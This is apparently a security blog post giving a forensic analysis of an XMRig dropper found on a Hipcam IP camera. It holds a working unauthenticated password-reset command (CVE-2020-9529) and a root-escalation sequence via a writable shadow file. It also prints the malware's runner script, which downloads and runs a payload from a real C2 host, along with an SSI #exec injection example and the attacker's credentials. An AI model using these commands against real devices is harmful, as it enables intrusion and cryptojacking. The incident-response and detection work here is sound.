+++
author = "@uphiago"
title = "3 Year IoT Malware Infection"
slug = "iot-malware-autopsy"
date = 2026-07-23T00:00:00-03:00
description = "A Hipcam IP camera hiding a persistent XMRig miner dropper since August 2023. From hex-embedded ARM binaries in init scripts to SSI #exec command injection, here's the full forensic breakdown."
tags = ["iot", "malware", "reverse-engineering", "forensics", "xmrig", "camera", "arm", "security"]
authors = ["uphiago"]
lastmod = 2026-07-23T00:00:00-03:00
draft = false
+++

<!--more-->

**A security camera with a persistent cryptominer [dropper](https://en.wikipedia.org/wiki/Dropper_(malware)) running unnoticed for nearly 3 years.**

The camera had been in my mother's store, then got pulled during a renovation and was sitting in a corner. I grabbed it to [see what an agent could do](https://x.com/uphiago/status/2079677845563973954): one-shot recon, pull configs, take a snapshot. Then the agent noticed something in `/etc/init.d/`.

The camera worked fine: pan, tilt, RTSP stream, ONVIF. Nothing seemed wrong from the outside. Then I opened a shell and checked what was running at boot.

---

## Gaining Access

The camera is a Hipcam-branded PTZ model running Linux on an ARM SoC. Web interface on port 80, ONVIF on 8080, RTSP on 554. The admin password wasn't default, but the camera speaks a discovery protocol called **HDS/1.0** on UDP port 12222.

One of its commands resets the admin password : no authentication required. CVE-2020-9529, CVSS 8.8 (Adjacent Network : attacker must be on the same LAN, or have already pivoted through another compromised device).

```bash
echo -ne 'CMD * HDS/1.0\r\nusrpwd set -resetpwd on\r\n\r\n' \
  | nc -u 192.168.1.10 12222
# Response: [Success]usrpwd reset!
```

The camera reboots. Now `admin:admin` works on the web panel. But the web interface is limited : I wanted a shell.

The HDS/1.0 protocol has another command, this one requiring authentication: `printscreen set -telnet 1`. That enables telnetd on port 23. The camera ships with a `default` system account (UID 1000) that has no password hash : login with username `default` and an **empty password**. Then `/etc/shadow` is world-writable (mode 666). Generate a new DES crypt hash, replace root's entry with `sed`, `su -` to root.

```bash
# The camera's shadow file was mode 666 : any process could write it
# Requires Python <3.13 (crypt module removed in PEP 594).
# On Python 3.13+, use: openssl passwd -1 -salt hi admin
python3 -c "import crypt; print(crypt.crypt('admin', crypt.mksalt()))"
# Replace root's hash with the new one
sed -i 's|root:[^:]*|root:HASH|' /etc/shadow
su -
# Root shell acquired.
```

---

## The First Clue

On any Linux system you compromise (or audit), the **first** thing you check is persistence. What runs at boot?

```bash
$ ls -la /etc/init.d/
-rwxrw-rw-  1 root root  246 Sep 14  2016 S10mdev
-rwxrw-rw-  1 root root  330 Sep 14  2016 S11devnode
-rwxrw-rw-  1 root root   69 Sep 14  2016 S90ipc
-rwxrw-rw-  1 root root 10234 Aug 22  2023 S98test    # ← this one
```

Three things stand out immediately:

1. **The name.** Init scripts are named after services: `S50telnet`, `S80httpd`. `S98test` is deliberately misleading.
2. **The size.** 10KB for a shell script? Normal init scripts are under 300 bytes : and the timestamp (August 22, 2023) doesn't match any other file on the system.
3. **The permissions.** `rwxrw-rw-`. World-writable. Any process on the camera : including the web server's CGI handler : could overwrite it.

```bash
$ cat /etc/init.d/S98test
#!/bin/sh
echo -ne '\x7F\x45\x4C\x46\x01\x01\x01\x00...' > /tmp/dl
echo -ne '\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68...' > /tmp/r
chmod 777 /tmp/dl /tmp/r
while ! ping -c 1 8.8.8.8; do printf .; done
/tmp/r &
```

Two massive hex dumps, each embedded in an `echo -ne` command. The first byte sequence starts with `\x7F\x45\x4C\x46` : that's the **ELF magic number**. Someone compiled an ARM binary and embedded it as hex inside a shell script.

The second hex dump starts with `\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68` : `#!` followed by `/bin/sh`. A [shell script shebang](https://en.wikipedia.org/wiki/Shebang_(Unix)).

---

## Stage 1: The Dropper (`/tmp/dl`)

![IoT malware dropper architecture: hex-embedded ELF in init script, HTTP download to C2, runner loop](/images/2026/iot-dropper-architecture.jpeg)

I copied the hex dump and decoded it:

```python
hex_str = r'\x7F\x45\x4C\x46\x01\x01\x01\x00...'
binary = bytes(int(h, 16) for h in hex_str.replace('\\x', ' ').split())
open('dl.bin', 'wb').write(binary)
```

```bash
$ file dl.bin
dl.bin: ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV),
        statically linked, stripped

$ strings dl.bin
GET /omm HTTP/1.0
HOST: 86.38.203.214
Connection: close
./omm
NIF
GCC: (Buildroot 2017.05) 4.9.4
ARM926EJ-S
```

No disassembly needed. The `strings` output already reveals the binary's purpose:

| String | Purpose |
|--------|---------|
| `GET /omm HTTP/1.0` | HTTP request : downloads a payload file |
| `86.38.203.214` | Command & Control server IP |
| `Connection: close` | Single-request behavior |
| `./omm` | Output filename |
| `NIF` | Response validation marker |
| `Buildroot 2017.05` | Compilation toolchain |

The binary is 1,924 bytes of statically-linked ARM code. Its logic in pseudocode:

```c
int sock = socket(AF_INET, SOCK_STREAM, 0);
connect(sock, "86.38.203.214", 80);
write(sock, "GET /omm HTTP/1.0\r\n"
             "HOST: 86.38.203.214\r\n"
             "Connection: close\r\n\r\n");
int fd = open("./omm", O_WRONLY | O_CREAT, 0777);
while (read(sock, buf, 4096) > 0)
    write(fd, buf, n);
close(sock); close(fd);
```

A minimal HTTP/1.0 downloader. It fetches a file called `omm` from the C2 server and saves it to the current directory. The `NIF` string is checked in the HTTP response to verify the server returned real payload data instead of an error page.

**Why embed the binary as hex instead of just downloading it?** Because at boot time, the network might not be up yet. The hex dump is available immediately. The init script waits for connectivity (pings 8.8.8.8 in a loop), then launches the runner script. This is a standard IoT malware pattern : no compilation on target, no network dependency for stage 0.

---

## Stage 2: The Runner (`/tmp/r`)

The second hex dump decodes to this shell script:

```sh
#!/bin/sh
macaddr=`ip a show eth0 | grep ether | cut -d " " -f6`
i=0
while true
do
    chmod 777 /bin/omm
    chmod 777 /tmp/dl

    /bin/omm -device-name=hi_$macaddr \
        -accept-tos \
        -email=hwansna@gmail.com \
        -password=Y_rLkZXgn3BQ02lRFV6E5 \
        2>&1 > /dev/null

    cfilesize=`wc -c /bin/omm | awk '{print $1}'`
    if [ ${cfilesize} -ne 2222096 ]; then
        rm /bin/omm
        cd /bin/ && /tmp/dl
    else
        i=$((i+1))
        if [ ${i} -gt 50 ]; then
            rm /bin/omm
            /bin/busybox ftpget -u pwn -p XAUob5EHu7M54iyD \
                86.38.203.214 /bin/omm omm
        fi
    fi
    sleep 4
done
```

The script is compact but carefully designed. It extracts the MAC address to build a unique device fingerprint (`hi_<MAC>`) so the attacker can track individual cameras in their mining pool dashboard. All output is discarded with `2>&1 > /dev/null` : the mining process leaves no visible trace on the terminal. A file-size integrity check (`wc -c`) verifies `/bin/omm` is exactly 2,222,096 bytes; if the binary is deleted or corrupted, the dropper re-downloads it immediately. After 50 successful cycles (~200 seconds), it switches from HTTP to FTP as a fallback transport : a deliberate choice exploiting the fact that many IoT networks allow outbound FTP for camera footage uploads even when HTTP is firewalled. The `sleep 4` loop means the miner is checked 15 times per minute: if someone deletes it, it's back within seconds.

---

## Stage 3: The Payload : XMRig (`/bin/omm`)

The payload binary wasn't present on the camera when I investigated : the downloads were failing. But three signals independently identify it:

| Signal | Value | Conclusion |
|--------|-------|------------|
| File name | `omm` | Random 3-letter name, typical IoT malware |
| Expected size | 2,222,096 bytes | Exact size of statically-linked ARM XMRig |
| CLI flags | `-device-name`, `-accept-tos`, `-email`, `-password` | XMRig's pool connection syntax |

The size alone eliminates other possibilities. Mirai and Gafgyt DDoS bots compile to 50-200 KB. Backdoor shells are 30-80 KB. Proxy relays top out around 400 KB. Only a statically-linked cryptominer : with OpenSSL and a full mining algorithm implementation baked in : produces a 2.1 MB ARM binary.

The email `hwansna@gmail.com` was the pool account identifier. The password `Y_rLkZXgn3BQ02lRFV6E5` was the worker authentication token. The `-accept-tos` flag is XMRig's mandatory Terms of Service agreement flag : the miner refuses to start without it.

> **A note on the hardware.** This camera has 41 MB of total RAM. Monero's mining algorithm (RandomX) requires a ~256 MB scratchpad even in lightweight mode. The `/bin/omm` binary was never captured : I'm identifying it from CLI flags and file size, not from runtime behavior. It's possible the miner never produced a valid share and spent its uptime in a crash-restart loop, unable to allocate enough memory. The dropper infrastructure itself is real and well-documented regardless : this is what I can prove. The actual mining throughput, if any, I can't.

---

## The C2 Infrastructure

```
IP:           86.38.203.214
ASN:          AS48031
Reverse DNS:  srv1403979.hstgr.cloud
Provider:     Hostinger (via IPXO IP leasing platform)
Location:     United States
Status:       OFFLINE (all ports timeout)
```

The C2 was a cheap Hostinger VPS rented through IPXO, which provides an IP anonymity layer. This is a low-budget operation : shared hosting costs ~$5/month. The server was already offline when I checked, which explains why `/bin/omm` wasn't on the camera. The downloads had been failing for some time, and the runner loop kept retrying every 4 seconds to no avail.

---

## The Infection Vector: SSI `#exec` Command Injection

How did the malware get there in the first place? The same UDP primitive I used to get in turned out to be exactly how the original attacker got in too : three years earlier. The init script was world-writable (`666`), but someone had to write it. After extracting the main binary (`ipc_server`, a 1MB ZIP-wrapped ELF) and analyzing its strings, I found the mechanism:

```
Bad SSI #exec: [%s]
Cannot SSI #exec: [%s]: %s
.shtml,.shtm
<!--#
```

The web server supports **Server-Side Includes** : a legacy Apache feature that allows HTML pages to embed server directives:

```html
<!--#exec cmd="id"-->
```

If the server parses user-controlled input for SSI directives, any command in `#exec` runs as root. Combined with CVE-2020-9529 (the unauthenticated password reset), the full attack chain becomes clear:

![IoT malware infection chain: CVE-2020-9529 to SSI #exec to XMRig persistence](/images/2026/iot-infection-chain.png)

**Corroborating evidence:** The config file `config_devtypese.ini` had been tampered with:

```ini
[customcfg]
product = "../../tmpfs/hacked.txt"
```

A path traversal attack. The attacker used the SSI injection to write a malicious file via `../../tmpfs/`, confirming the vector.

---

## The Hardware Underneath

![Goke GK7102 SoC specifications: ARM1176JZF-S, 41MB RAM, JFFS2 flash layout](/images/2026/iot-hardware-specs.jpeg)

The firmware reports "HiSilicon Hi3510". `/proc/cpuinfo` shows the actual hardware:

```
Hardware: Goke GK7102 RB_SC1045 board V2.00
Processor: ARMv6-compatible processor rev 7 (v6l)
CPU part:  0xb76  → ARM1176JZF-S
BogoMIPS:  597.60
```

The SoC is a **Goke GK7102**, not a HiSilicon. Goke Microelectronics produces pin-compatible clones of HiSilicon camera SoCs. The kernel version `3.4.43-gk` confirms this : "gk" stands for Goke. The SoC even has a hardware crypto accelerator (hw_crypto.ko, encipher.ko, encript.ko → `/dev/encript`) that the camera uses for RTSP encryption and P2P cloud connections.

The drop-in replacement nature of Goke for HiSilicon means the HiSilicon SDK's vulnerabilities : including command injection in CGI handlers : apply to this camera too.

---

## Cleanup

```bash
# 1. Replace the malware init script
echo -e '#!/bin/sh\nexit 0' > /etc/init.d/S98test

# 2. Kill all malware processes
ps | grep -E 'tmp/r|tmp/dl|omm|ftpget' | awk '{print $1}' | xargs kill -9

# 3. Remove dropped files
rm -f /tmp/dl /tmp/r /bin/omm /tmp/omm

# 4. Fix the tampered config
sed -i 's|../../tmpfs/hacked.txt|HXC54G|' /mnt/mtd/ipc/conf/config_devtypese.ini

# 5. Secure /etc/shadow
chmod 644 /etc/shadow

# 6. Change root password
passwd root
```

After reboot, the camera is clean. S98test exits immediately, /tmp is wiped (tmpfs), and no network connections to 86.38.203.214 exist.

---

## Indicators of Compromise

**Network:**
- `86.38.203.214` on ports 80 (HTTP) and 21 (FTP)
- FTP credentials: `pwn` / `XAUob5EHu7M54iyD`

**Files:**
- `/etc/init.d/S98test` : world-writable, contains hex payloads (> 10 KB)
- `/tmp/dl` : ARM ELF downloader (~1,924 bytes)
- `/tmp/r` : runner shell script
- `/bin/omm` : XMRig miner (~2.1 MB)

**Processes:**
- `/bin/omm -device-name=hi_* -email=hwansna@gmail.com`
- `ftpget -u pwn -p XAUob5EHu7M54iyD 86.38.203.214`
- `/tmp/r` (infinite `sleep 4` loop)

**YARA rule for the dropper:**

```
rule hipcam_xmrig_dropper {
    strings:
        $http_get = "GET /omm HTTP/1.0"
        $c2_host  = "86.38.203.214"
        $toolchain = "GCC: (Buildroot 2017.05) 4.9.4"
        $email = "hwansna@gmail.com"
    condition:
        2 of them
}
```

---

## Key Takeaways

The first command on any unknown embedded system should be `ls -la /etc/init.d/`. Finding the world-writable S98test took 30 seconds : everything else followed from there.

Never trust firmware-reported hardware. `/proc/cpuinfo` is ground truth; the web UI reported HiSilicon, the kernel reported Goke.

`strings` before any disassembler. The URLs, IPs, and toolchain were visible without opening [Ghidra](https://github.com/nationalsecurityagency/ghidra) (software reverse engineering (SRE) framework) : that's why it's always step one.

A camera with 41 MB of RAM and a 600 MHz core ran a persistent dropper infrastructure for nearly 3 years. Init scripts on embedded devices are rarely audited: the persistence survived simply because nobody looked.

`hwansna@gmail.com` ties directly to a mining pool account. Malware often ships with real-world identity signals if you know where to look.

---

## This Isn't an Isolated Case

This camera sat in a retail store for years before it was pulled during a renovation and left in a corner. Nobody monitors init scripts on a shop's security camera. For ~35 months it ran a persistent dropper loop: checking file integrity every 4 seconds, ready to re-deploy a 2.1 MB miner at any moment. Whether the miner ever produced a valid share on 41 MB of RAM is debatable. The persistence mechanism itself is what survived, undetected, in a device nobody was watching.

In January 2024, someone else *did* look. An LG washing machine owner [went viral](https://x.com/Johnie/status/1744556503183585471) after his Asus router showed the appliance uploading **3.7 GB of data daily**. The top theory in the thread? A hijacked device mining cryptocurrency or operating as part of a botnet. LG never explained it.

The numbers on a device like this are tiny: a 600 MHz ARMv6 core with 41 MB of RAM isn't going to produce meaningful mining output even if the binary manages to stay running. But the economics don't depend on any single device. At scale : 1,000 cameras, 10,000 washing machines : the math shifts.

The common thread is the **attack surface nobody audits**. Cameras, washing machines, smart plugs: they all run Linux with web servers and cloud connections, shipping with 2017-era kernels, default credentials, and no update path. The Mirai botnet proved the exposure in 2016. Cryptominer droppers are the same class of problem, just harder to notice.

---

## Artifacts & Tools

The full forensic dossier : 589 extracted files, raw flash dumps, JFFS2 root filesystem, YARA rules, Suricata/Snort signatures, and reverse engineering notes on every binary : is at **[github.com/uphiago/camera-iot-device-dump](https://github.com/uphiago/camera-iot-device-dump)**.

The investigation used techniques from my offensive security skill pack : 169 field-validated recon and pentest skills, open source at **[github.com/uphiago/recon-skills](https://github.com/uphiago/recon-skills)**.

*Found something similar or want to collaborate? Reach out: [@uphiago](https://x.com/uphiago)*
